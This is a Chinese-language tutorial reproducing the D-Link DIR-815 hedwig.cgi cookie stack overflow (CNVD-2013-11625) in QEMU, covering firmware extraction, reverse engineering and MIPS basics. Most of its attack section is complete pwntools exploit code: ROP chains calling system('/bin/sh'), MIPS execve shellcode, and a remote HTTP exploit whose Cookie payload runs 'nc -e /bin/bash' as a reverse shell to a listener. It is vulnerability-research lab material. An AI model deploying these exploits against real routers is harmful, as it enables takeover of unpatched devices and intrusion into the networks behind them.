DIR-815 栈溢出漏洞(CNVD-2013-11625)复现
复现环境及所需工具漏洞复现环境Ubuntu 24.04.2 LTS基础工具配置基础的Pwn环境 + binwalk + sasquatch + qemupwn环境配置推荐YX-hueimie师傅的博客★pwn 24.04环境搭建保姆级教程★_ubuntu24 pwn-CSDN博客★pwn 22.04环境搭建保姆级教程★_pwn环境搭建-CSDN博客安装binwalk可以直接使用apt安装,也可以下
复现环境及所需工具
漏洞复现环境
Ubuntu 24.04.2 LTS
基础工具配置
基础的Pwn环境 + binwalk + sasquatch + qemu
pwn环境配置推荐YX-hueimie师傅的博客
★pwn 24.04环境搭建保姆级教程★_ubuntu24 pwn-CSDN博客
★pwn 22.04环境搭建保姆级教程★_pwn环境搭建-CSDN博客
安装binwalk可以直接使用apt安装,也可以下载binwalk的源码来自己编译
sudo apt install binwalksasquatch 是binwalk用于解压非标准SquashFS文件系统的关键依赖(入门不安装这个那么我们之后binwalk分解固件会发现里面 squashfs-root 文件夹是空的)
安装方法如下:
# 安装依赖库(关键步骤,否则编译会失败)
sudo apt-get install build-essential zlib1g-dev liblzma-dev liblzo2-dev
# 克隆仓库并编译
git clone https://github.com/devttys0/sasquatch.git
cd sasquatch
./build.sh如果遇到下面问题,请按照下面文章中的方法解决
unsquashfs.c:1835:5: error: this ‘if’ clause does not guard... [-Werror=misleading-indentation]
1835 | if(swap)
| ^~
unsquashfs.c:1841:9: note: ...this statement, but the latter is misleadingly indented as if it were guarded by the ‘if’
1841 | read_fs_bytes(fd, SQUASHFS_START, sizeof(struct squashfs_super_block),
| ^~~~~~~~~~~~~binwalk缺少sasquatch报错_unsquashfs.c:1835:5: error: this ‘if’ clause does -CSDN博客
git clone --quiet --depth 1 --branch "master" https://github.com/devttys0/sasquatch
cd sasquatch
wget https://github.com/devttys0/sasquatch/pull/51.patch && patch -p1 <51.patch
sudo ./build.sh上面问题解决可能还存在下面问题
LZMA/lzma465/C/LzmaEnc.c: In function ‘LzmaEnc_CodeOneMemBlock’: LZMA/lzma465/C/LzmaEnc.c:2161:19: error: storing the address of local variable ‘outStream’ in ‘*(CLzmaEnc *)pp.rc.outStream’ [-Werror=dangling-pointer=] 2161 | p->rc.outStream = &outStream.funcTable; | ~~~~~~~~~~~~~~~~^~~~~~~~~~~~~~~~~~~~~~ LZMA/lzma465/C/LzmaEnc.c:2145:20: note: ‘outStream’ declared here 2145 | CSeqOutStreamBuf outStream; | ^~~~~~~~~ LZMA/lzma465/C/LzmaEnc.c:2139:45: note: ‘pp’ declared here 2139 | SRes LzmaEnc_CodeOneMemBlock(CLzmaEncHandle pp, Bool reInit, | ~~~~~~~~~~~~~~~^~ cc1: all warnings being treated as errors make: *** [<builtin>: LZMA/lzma465/C/LzmaEnc.o] Error 1我们需要修改build.sh文件来防止这个错误
#!/bin/bash
# ...(前面部分不变)
# Patch, build, and install the source
cd squashfs4.3
patch -p0 < ../patches/patch0.txt
cd squashfs-tools
export CFLAGS="-Wno-error=dangling-pointer" # 关键修改
make && $SUDO make install安装完成后就可以使用 binwalk -Me <文件地址> 来对文件进行分解了,进入分解后的文件夹可以看到很多 www bin usr 等等文件夹,最重要的是还有一个 squashfs-root文件夹
分解过程中还可能出现软连接有问题,比如我们进入 squashfs-root 文件夹中我们使用 ls -la 指令
这里就发现了一个软连接缺失,指向的是 我们Ubuntu的 /tmp 目录(实际上应该指向路由器的 /tmp 目录,而不是本机的 /tmp 目录),为了安全考虑,binwalk 将这种软链接都置成了 /dev/null
这里我们需要恢复成正常的样子,如果放任不管可能导致后续的模拟失败
修改方法为
进入到 /usr/lib/python3/dist-packages/binwalk/modules 目录下(如果是apt下载的话)
修改其中的 extractor.py 文件修改为下图所示,当然先保留原本的文件最好,万一改错了还可以再改回来
具体修改方法参照下面两篇博客
IOT环境搭建与固件分析 | 坠入星野的月🌙
https://zikh26.github.io/posts/d1f081a9.html?highlight=mips
修改好后解压就不是 /dev/null 如下图所示
还有一个坑,就是很多时候为了方便我们可能会创建Windows和Ubutnu的共享文件夹,然后将共享文件夹从 /mnt/hgfs/ 目录下使用ln指令链接到Ubuntu桌面或者别的什么地方,这里需要注意,如果这么做了就不要在这个共享文件夹里面使用binwalk,因为这样会导致binwalk无法创建软连接,笔者在这里踩坑花费了很多时间
安装qemu虚拟机
sudo apt-get install qemu
sudo apt-get install qemu-user-static
sudo apt-get install qemu-system漏洞基本介绍
本次复现的CNVD漏洞报告地址:国家信息安全漏洞共享平台
根据官方报告可知DIR-645型号的hedwig.cgi中会存在缓冲区溢出的漏洞
固件包(百度网盘):
通过网盘分享的文件:DIR815A1_FW103b01.rar
链接: https://pan.baidu.com/s/1VnKX6DYTEvXDRr6giiPcjw?pwd=xidp 提取码: xidp
分离固件
将我们的固件包放入到我们配置好环境的Ubuntu虚拟机中
使用指令 binwalk -Me DIR815A1_FW103b01.bin 来分解它
分解之后当前文件夹下面会出现一个 _DIR815A1_FW103b01.bin.extracted 文件,也就是我们分解后的程序,根据官网的报告我们已经知道漏洞点在 hedwig.cgi 中所以我们就需要去找这个文件在哪,我们进入我们分解之后的 _DIR815A1_FW103b01.bin.extracted/squashfs-root 中,然后使用find指令来查找,得知它在 _DIR815A1_FW103b01.bin.extracted/squashfs-root/htdocs/web 目录下
进入该目录后我们发现这个 hedwig.cgi 它其实是一个软连接,我们使用 ls -la 指令来查看就会发现它的本体其实是 /htdocs/cgibin 这个文件
下面我们进入该目录并使用checksec指令来查看该文件的保护机制
需要注意的是它的结构为mips而不是我们打pwn常见的amd所以我们需要给IDA安装对应的插件才能分析
插件以及安装方法可以参考下面文章:ida mips插件安装+攻防世界ereere题解-先知社区
笔者使用的为IDA9.0版本,不需要安装该插件,如果上述插件安装失败的话建议安装IDA9.0版本
漏洞点分析
进入 main函数 中找到 hedwig.cgi
进入hedwigcgi_main函数中,发现其中规定了post请求方式
然后我们继续进入到 cgibin_parse_request函数 中
发现里面利用 getenv函数 获取了了三个环境变量, 但是和我们的漏洞没啥关系,只不过利用漏洞的时候这里需要随便输入一些东西作为它们的参数
这个函数结束后我们回到hedwigcgi_main函数
我们发现hedwigcgi_main函数下面会调用 sess_get_uid函数, 我们进入其中查看
进入到其中也是可以直接看到它获取了我们的环境变量 COOKIE
这里获取到了COOKIE之后赋值给了v3,在后续v3又赋值给了v5,再通过指针的形式传递给v7,在通过对特定符号(比如 = ; 等符号)的判断对 COOKIE 进行分离
再继续往下看 sobj_add_char函数 的功能就和它的函数名字一样,用于添加字符
而下面这一段程序的作用就是将 = 前面的内容给 v2 将 = 后面的内容给 v5
再往下看,这里判断 v2 的内容是不是 uid 判断之后将 v4 的内容放入 string 中,然后再拼接到 a1 里面
所以我们可以得到的结论就是 sess_get_uid函数 的作用就是将 COOKIE 中 uid= 后面的内容提取出来
再次回到我们的 hedwigcgi_main函数 我们可以看到下面的 sprintf函数,这个 sprintf函数 就是我们的一个漏洞点
通过阅读代码逻辑 sprintf函数 的第四个参数 string 其实就是 v4 ,而这里的 v4 我们通过上面分析可以得知 v4 其实就是传入的 cookie 中的 uid= 后面的内容,这个部分的内容以及长度其实我们是可以控制的, 而我们的 v27 数组的大小为 1024 所以这里可能存在栈溢出
而继续往下阅读代码,在 hedwigcgi_main函数 的 133行同样还有一个 sprintf函数, 同样也是往 v27 这个数组中输入
输入的内容 v20 的内容也是 v4,而 v4 从第一个 sprintf函数 到这第二个 sprintf函数 没有发生改变,所以同样 v4 也是 cookie 中的 uid= 后面的内容,所以利用漏洞的时候我们只需要将 cookie 的 uid= 后面的内容当成 payload 来输入就行了
在利用漏洞之前我们回到漏洞代码之前,我们发现如果想要利用下面的漏洞,我们还需要考虑绕过下面这两个 if
- 我们必须要有
/var/tmp/temp.xml - 这个
haystack需要为非0
绕过 1 的方法: 在我们模拟环境的时候在系统内创建一个/var/tmp文件夹就行
绕过 2 的方法: 在 cgibin_parse_request(sub_409A6C, 0, 0x20000); 的 sub_409A6C 中有对 haystack 进行操作
而进入 sub_409A6C 的条件为使用POST方式传入内容
但是如果需要使用 POST 进行传参就需要进入到 cgibin_parse_request函数 如下图所示的部分
这个部分return进行了跳转,调试的时候我们会知道这里是 sub_403b10函数
那么我们进入sub_403b10函数, 接着跟进进入 sub_402FFC函数
在 sub_402FFC函数 函数中进入 sub_402B40函数
最终找到下面这段程序
通过调试我们可以知道这里的 v9(v10, v16) 其实就是调用了 sub_409A6C函数
下面我们回到 hedwigcgi_main函数 在第50行处这里有一个 cgibin_parse_request函数 其中调用了 sub_409A6C函数
进入到 cgibin_parse_request 之中
这里如果 v9 变成 -1 那么下面就没有办法执行 return ((&off_42C014)[3 * v16 - 1])(a1, a2, v7, &v14[v17]);
也就是没有办法进入到 sub_403b10函数 那么也就没有办法在 sub_403b10函数 进入 sub_402FFC函数 当中去,所以环境变量REQUEST_URI中也必须有内容才行
在后续的exp中我们将这里的环境变量CONTENT_TYPE设置为application/x-www-form-urlencoded
然后满足这些条件我们就可以利用到第二个 sprintf函数 了
如果是新手来复现熟悉一下过程的话只需要知道我们可以在exp中通过控制cookie的内容来打栈溢出就可以
MIPS栈溢出的相关知识和工具
我们先来捋一下思路,程序什么保护都没有开启,所以我们可以直接 打ROP链来获得shell,还有就是 MIPS架构 是没办法开启 NX保护 的我们可以构造 shellcode 然后返回 shellcode 的地址执行
当然在实际应用中,最常用的还是通过 ROP + shellcode 的方式来 getshell
构造mips的rop寻找gadget所需的工具
mipsrop
安装方法:IDA插件 MIPSROP的安装和使用方法-CSDN博客
或者使用
ropper
感觉mipsrop更好用
MIPS基础知识
mips架构(32位下的mipsel)的特性
- 叶子函数和非叶子函数
叶子函数是指没有调用任何别子函数的函数,它的返回地址会存放在$ra寄存器中,在叶子函数结束的时候程序会通过$ra寄存器进行跳转返回,如下图所示
非叶子函数 是指调用了其他子函数的函数, 它的返回地址 $ra 会在程序开始的时候通过 sw指令 存放到栈上,如下图所示
这是因为它其中调用了别的函数会改变它的 $ra寄存器 的值所以需要依靠栈来保存地址
然后在函数结束的时候再通过 lw指令 取出并跳转返回
- 流水线效应
最为常见的就是跳转指令比如jalr导致的分支延迟效应
而分支跳转语句后面的那条语句叫做分支延迟槽
就是说,当它跳转指令填充好跳转地址,但是还没来得及跳转过去的时候,跳转指令的下一条指令(分支延迟槽)就已经执行了
也就是说mips架构在执行跳转指令的时候会先执行跳转指令的后一条指令,然后再进行跳转 - 缓存不一致性
指的是指令缓存区--Instruction Cache和数据缓存区--Data Cache的同步需要一定的时间
比如,我们将一段shellcode写入到栈上,那么此时shellcode还属于数据缓存区,如果我们直接跳转过去执行就会出现一些问题,因此我们需要调用一下sleep函数先停一下,让数据缓存区能够变成指令缓冲区然后再进行跳转这样就不会出错了,虽然直接跳转可能也不会出错但是sleep一下更加稳妥
使用qemu用户态模拟
step1 测量偏移量
进入 squashfs-root 文件夹中
执行下面这条指令
cyclic 2000 > payload并且创建下面这个脚本并运行它
# start.sh
#!/bin/bash
# 定义输入数据和相关变量
INPUT="XiDP=Pwner" # 发送的数据内容
LEN=$(echo -n "$INPUT" | wc -c) # 计算内容长度
COOKIE="uid=`cat payload`"
echo $INPUT | qemu-mipsel -L ./ -0 "hedwig.cgi" -E REQUEST_METHOD="POST" -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE=$COOKIE -E REQUEST_URI="2333" -g 1234 ./htdocs/cgibin
#-0 参数用于强制设置程序的 argv[0] 值, 后面的 -E 是设置环境变量了 -g 指定端口 echo 可以实现post的功能开启另外一个终端,创建下面这个脚本叫做 mygdb.sh, 然后执行指令 gdb-multiarch -x mygdb.sh
# mygdb.sh
set architecture mips
set follow-fork-mode child
set detach-on-fork off
target remote 127.0.0.1:1234 如果我们没有搞错什么,那么我们将得到下面这幅画面
通过图中这个地址被修改的值我们可以计算出我们所需要的偏移量, 得到偏移量为1009
知道溢出量后我们还需要寻找libc的基地址
step2 计算libc基地址
这么我们是使用 qemu用户态 来模拟路由器程序,这时我们直接在 pwndbg 中使用 vmmap指令 是找不到 libc_base 的,大致会出现下图所示情况,我们在图中是看不到 libc.so.0 的初始地址的
所以我们需要在程序里面找到一个libc函数的真实地址,然后利用这个函数相对于libc基地址的偏移量来求出libc的基地址
我们在下面这两个地方打上断点,那么在跳转的时候我们就可以得知memset函数的真实地址了,而知道真实地址我们还需要memset函数相对于libc基地址的偏移量
(这里为什么选用两个memset函数? 这里因为第一次是跳转到延迟绑定的地址,第二次延迟绑定结束才是真实是memset函数地址)
下面使用gdb运行到此处查看memset的真实地址
第一次得到的是延迟绑定的地址,t9中存放
第二次得到的才是真实地址
由此可得,memset函数 的地址为 0x2b333a20
然后我们查看软连接,发现程序的libc文件本体其实是 libuClibc-0.9.30.1.so 文件
将该文件拖入IDA中进行分析,得知 memset 的偏移量为 0x034A20
下面就可以计算出 libc_base = 0x2b333a20 - 0x034A20 = 0x2B2FF000
然后还可以找一下system函数的偏移量为 0x53200
step3 编写并运行exp
接着我们就可以开始编写exp了
from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')
libc_base = 0x2B2FF000 # 这里的libc_base每个人都是不一样的需要修改
payload = b'a'*(1009-36)
payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1
payload += p32(libc_base + 0x159F4) # s1 move $t9, $s0
payload += b'a'*4 #s2
payload += p32(libc_base + 0x5A448) # s3 /bin/sh
payload += b'a'*(4*2) #s4-s5
payload += p32(libc_base + 0x32A98) # s6 addiu $s0, 1
payload += b'a'*(4*2) #s7-s8
payload += p32(libc_base + 0x13F8C) # ret_addr move $a0, $s3
payload = b"uid=" + payload
post_content = "XiDP=Pwner"
io = process(b"""
qemu-mipsel -L ./ \
-0 "hedwig.cgi" \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH=10 \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E HTTP_COOKIE=\"""" + payload + b"""\" \
-E REQUEST_URI="2333" \
-g 1234 ./htdocs/cgibin
""", shell = True)
io.send(post_content)
io.interactive()
'''
.text:00013F8C move $a0, $s3
.text:00013F90 move $t9, $s6
.text:00013F94 jalr $t9
.text:00013F98 move $a1, $s1
.text:000159F4 move $t9, $s0
.text:000159F8 jalr $t9 ; mempcpy
.text:000159FC addiu $a1, (asc_599FC - 0x60000) # "/"
.text:00032A98 addiu $s0, 1
.text:00032A9C li $s2, 1
.text:00032AA0
.text:00032AA0 loc_32AA0: # CODE XREF: sub_32850:loc_32A88↑j
.text:00032AA0 move $t9, $s1
.text:00032AA4 jalr $t9
'''上述所使用的exp为winmt师傅在其博客中所写,winmt师傅在博客中表示该exp无法打通qemu用户态,但是我本地打了一下发现如果直接打是无法打通的,但是如果加上一个pause,然后gdb-multiarch去连接,调试到最后却是可以打通的,如下图,有点怪,不知道啥原因
但是下面的shellcode版本是不论如何都可以打通的
from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')
libc_base = 0x2B2FF000 # 这里的libc_base每个人都是不一样的需要修改
payload = b'a'*0x3cd
payload += b'a'*4
payload += p32(libc_base + 0x436D0) # s1 move $t9, $s3 (=> lw... => jalr $t9)
payload += b'a'*4
payload += p32(libc_base + 0x56BD0) # s3 sleep
payload += b'a'*(4*5)
payload += p32(libc_base + 0x57E50) # ra li $a0, 1 (=> jalr $s1)
payload += b'a'*0x18
payload += b'a'*(4*4)
payload += p32(libc_base + 0x37E6C) # s4 move $t9, $a1 (=> jalr $t9)
payload += p32(libc_base + 0x3B974) # ra addiu $a1, $sp, 0x18 (=> jalr $s4)
shellcode = asm('''
slti $a2, $zero, -1
li $t7, 0x69622f2f
sw $t7, -12($sp)
li $t6, 0x68732f6e
sw $t6, -8($sp)
sw $zero, -4($sp)
la $a0, -12($sp)
slti $a1, $zero, -1
li $v0, 4011
syscall 0x40404
''')
payload += b'a'*0x18
payload += shellcode
payload = b"uid=" + payload
post_content = "XiDP=Pwner"
io = process(b"""
qemu-mipsel -L ./ \
-0 "hedwig.cgi" \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH=11 \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E HTTP_COOKIE=\"""" + payload + b"""\" \
-E REQUEST_URI="2333" \
./htdocs/cgibin
""", shell = True)
io.send(post_content)
io.interactive()运行之后效果如下图所示
使用qemu系统态模拟
step1 下载对应内核及镜像
想要使用qemu系统态模拟相对就要复杂一点了,我们需要下载对应的 内核 以及 镜像
下载地址: Index of /~aurel32/qemu/mipsel
到上面这个网站下下 debian_squeeze_mipsel_standard.qcow2镜像以及 vmlinux-3.2.0-4-4kc-malta 内核
如下图所示
step2 创建网桥
开始模拟之前我们需要开启物理机的ip转发功能,以及创建网桥来连接到qemu虚拟机
首先安装网络配置工具
apt-get install bridge-utils uml-utilities然后修改 interfaces 文件
sudo vim /etc/network/interfaces一些新版本的Ubuntu里面可能没有 interfaces 这个问题
我们可以使用下面指令来安装
sudo apt install ifupdown修改 interfaces 文件内容如下(修改之前可以先备份一份, sudo cp /etc/network/interfaces /etc/network/interfaces.brk)
下面使用 ip addr 指令来查看我们系统使用的是什么接口 一般是 eth0 或 ens33
eth0如下:
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet dhcp
up ifconfig eth0 0.0.0.0 up
auto br0
iface br0 inet dhcp
bridge_ports eth0
bridge_maxwait 0ens33如下:
auto lo
iface lo inet loopback
auto ens33
iface ens33 inet dhcp
up ifconfig ens33 0.0.0.0 up
auto br0
iface br0 inet dhcp
bridge_ports ens33
bridge_maxwait 0这里修改完之后可以使用指令 sudo /etc/init.d/networking restart 来重启一下网络配置
再备份一次 sudo cp /etc/network/interfaces /etc/network/interfaces.brk2
备份好之后我们可以写一个脚本用来在两个不同的版本之间切换
我写的脚本如下
# net_cg
#!/bin/bash
# 功能说明:切换网络配置文件并重启服务
# 用法:net_cg [0|1]
# 参数:0 - 使用 interfaces.brk;1 - 使用 interfaces.brk2
case "$1" in
0)
echo "正在切换至 interfaces.brk 配置..."
sudo rm /etc/network/interfaces
sudo cp /etc/network/interfaces.brk /etc/network/interfaces
sudo /etc/init.d/networking restart
echo "配置切换完成!"
;;
1)
echo "正在切换至 interfaces.brk2 配置..."
sudo rm /etc/network/interfaces
sudo cp /etc/network/interfaces.brk2 /etc/network/interfaces
sudo /etc/init.d/networking restart
echo "配置切换完成!"
;;
"")
# 无参数时提示用法
echo "用法:$0 [0|1]"
echo " 0 - 使用 interfaces.brk 配置"
echo " 1 - 使用 interfaces.brk2 配置"
exit 1
;;
*)
# 非法参数报错
echo "错误:无效参数 '$1'"
echo "支持的参数:0 或 1"
exit 1
;;
esac在 /etc/qemu-ifup 文件中写入下面内容(如果没有则需要创建,然后使用 sudo chmod a+x /etc/qemu-ifup)
注意是写入,不是改成下面内容
#!/bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing up $1 for bridge mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0..."
sudo /sbin/brctl addif br0 $1
sleep 2还需要开启物理机的转发功能(写成脚本如下)
#! /bin/sh
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT这里做完之后可以使用指令 ip addr 来查看一下虚拟网卡是否已经准备就绪
然后在到/etc文件中创建一个 /qemu/bridge.conf 在这个文件中写入 allow br0
所有东西成功后进行保存,然后重启我们的Ubuntu系统
step3 配置qemu虚拟机网络设置
我们在第一步已经下载好了我们所需要的 内核 及 镜像
下面我们进入存放它们的文件夹,并且创建下面这个脚本然后运行
# start.sh
#!/bin/bash
sudo qemu-system-mipsel \
-M malta -kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net nic,macaddr=00:16:3e:00:00:01 \
-net tap执行后会出现一个黑色小窗口,然后里面在加载程序,最后可能会有一个 fail 但是不要紧,不影响我们复现漏洞,太多 fail 可能就有点问题了需要问AI检查一下
qemu 启动的虚拟机初始密码为 root/root
进入之后第一步需要使用 nano 来修改 /etc/network/interfaces
nano /etc/network/interfaces修改其中的 eth0 为 eth1
也就是下面部分
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
allow-hotplug eth1
iface eth1 inet dhcp修改之后执行 ifup eth1 启用eth1接口, 然后我们再使用 ip addr 指令,会有类似下面的输出,从这里获得qemu虚拟机的ip地址,同理在Ubuntu物理机上使用这个 ip addr 指令同样可以得到Ubuntu物理机的ip地址
2: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
link/ether 00:16:3e:00:00:01 brd ff:ff:ff:ff:ff:ff
inet 192.168.xxx.xxx/24 brd 192.168.xx.xx scope global eth1执行 ifup eth1 后我们就可以用Ubuntu物理机来连接我们的qumu虚拟机了
# 低版本Ubutnu
ssh root@192.168.xx.xx
# 高版本Ubutnu
ssh -o HostKeyAlgorithms=ssh-rsa root@192.168.xx.xxstep4 开启环境
然后将在Ubunut物理机上使用scp指令来向qemu虚拟机传输文件
将路由器文件分解得到的 /squashfs-root 文件传入到 qemu虚拟机的 /root 文件夹下面
# 低版本Ubutnu
scp -r ./squashfs-root root@192.168.xx.xx:/root/
scp -r <本地Ubuntu文件地址> root@192.168.xx.xx:<qemu虚拟机文件地址>
# 高版本Ubuntu
scp -o HostKeyAlgorithms=ssh-rsa -r ./squashfs-root root@192.168.xx.xx:/root/
scp -o HostKeyAlgorithms=ssh-rsa -r <本地Ubuntu文件地址> root@192.168.xx.xx:<qemu虚拟机文件地址>在qemu虚拟机的 /squashfs-root 文件中使用 nano指令 创建一个 http_conf 文件用于开启httpd服务
Umask 026
PIDFile /var/run/httpd.pid
LogGMT On #开启log
ErrorLog /log #log文件
Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}
Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}
Server
{
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family inet
Interface eth1 #对应qemu仿真路由器系统的网卡(如果是按照上面操作来的话就不用改)
Address 192.168.xx.xx #qemu仿真路由器系统的IP(需要改成自己的qemu虚拟机ip地址)
Port "1234" #对应未被使用的端口(一般也是不用改)
Virtual
{
AnyHost
Control
{
Alias /
Location /htdocs/web
IndexNames { index.php }
External
{
/usr/sbin/phpcgi { router_info.xml }
/usr/sbin/phpcgi { post_login.xml }
}
}
Control
{
Alias /HNAP1
Location /htdocs/HNAP1
External
{
/usr/sbin/hnap { hnap }
}
IndexNames { index.hnap }
}
}
}运行路由器程序执行下面脚本
#init.sh
#!/bin/bash
echo 0 > /proc/sys/kernel/randomize_va_space
cp http_conf /
cp sbin/httpd /
cp -rf htdocs/ /
mkdir /etc_bak
cp -r /etc /etc_bak
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cd /
rm -rf /htdocs/web/hedwig.cgi
rm -rf /usr/sbin/phpcgi
rm -rf /usr/sbin/hnap
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap
./httpd -f http_conf运行之后我们可以用Ubuntu自带的浏览器去访问
结束服务准备退出需要还原qemu虚拟机的系统架构,否则会导致qemu虚拟机损坏退出后无法开机,执行下面脚本
#fin.sh
#!/bin/bash
rm -rf /etc
mv /etc_bak/etc /etc
rm -rf /etc_bak调试的话需要用到 gdbserver
下面这个是github项目,已经编译完成的程序(但是作者好像命名错误了把mipsel打成了mipsle, 所以如果使用这个下面的脚本也需要改一改)
embedded-tools/binaries/gdbserver at master · rapid7/embedded-tools
#run.sh
#!/bin/bash
export CONTENT_LENGTH="10"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat payload`"
export REQUEST_METHOD="POST"
export REQUEST_URI="2333"
echo "User=pwner"|./gdbserver.mipsel 192.168.xx.xx:6666 /htdocs/web/hedwig.cgi
unset CONTENT_LENGTH
unset CONTENT_TYPE
unset HTTP_COOKIE
unset REQUEST_METHOD
unset REQUEST_URI对于这个run.sh脚本我有些疑问,winmt师傅在博客中说这里的ip地址需要填Ubuntu物理机的地址,但是我尝试之后失败了,我改为填写qemu虚拟机的地址然后运行,用Ubuntu虚拟机使用 target remote <qemu虚拟机ip地址>:6666 却可以连接成功,不知道为什么,但是没关系,只要能连上调试就行了
这里设置qemu虚拟机的的ip地址以及端口,之后我们同样可以使用上面的gdb脚本来进行连接
# mygdb.sh
set architecture mips
set follow-fork-mode child
set detach-on-fork off
file <调试文件地址> # 可以不要
target remote 192.168.xx.xx:6666 我们需要调试来确定远程的libc_base
这里我们只需要运行上面的 init.sh,打开浏览器确认服务开启后,然后运行脚本 run.sh ,随后在Ubuntu虚拟机中使用 gdb-multiarch 去连接即可
远程我们可以直接使用vmmap来查看libc基地址, 得到基地址为 0x77f34000 如果我们使用的内核和镜像相同,那么我们的libc基地址基本上也是相同的
打qemu虚拟机想要拿到shell就需要利用到反弹shell,我们需要在Ubutnu虚拟机中开启一个终端用于接收反弹shell
nc -lvnp 8888下面构建exp脚本,攻击192.168.xx.xx:1234使其执行 system('nc -e /bin/bash 192.168.xx.xxx 8888') 注意这里是Ubuntu物理机的IP
exp如下:
from pwn import *
import requests
context(os = 'linux', arch = 'mips', log_level = 'debug')
cmd = b'nc -e /bin/bash 192.168.xx.xxx 8888' # 这里是Ubuntu物理机的地址
libc_base = 0x77f34000
payload = b'a'*0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1
payload += p32(libc_base + 0x169C4) # s1 addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += b'a'*(4*7)
payload += p32(libc_base + 0x32A98) # ra addiu $s0, 1 (=> jalr $s1)
payload += b'a'*0x18
payload += cmd
url = "http://192.168.xx.xx:1234/hedwig.cgi" # 这里是qemu虚拟机的地址
data = {"XiDP" : "pwner"}
headers = {
"Cookie" : b"uid=" + payload,
"Content-Type" : "application/x-www-form-urlencoded",
"Content-Length": "10"
}
res = requests.post(url = url, headers = headers, data = data)
print(res)然后我们就可以在我们执行 nc -lvnp 8888 的终端拿到shell了,当然前提是exp无误
成功打通如下图所示
参考:
DIR-815 栈溢出漏洞-先知社区
[原创] 从零开始复现 DIR-815 栈溢出漏洞-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com
firmAE模拟仿真DIR815栈溢出漏洞复现-先知社区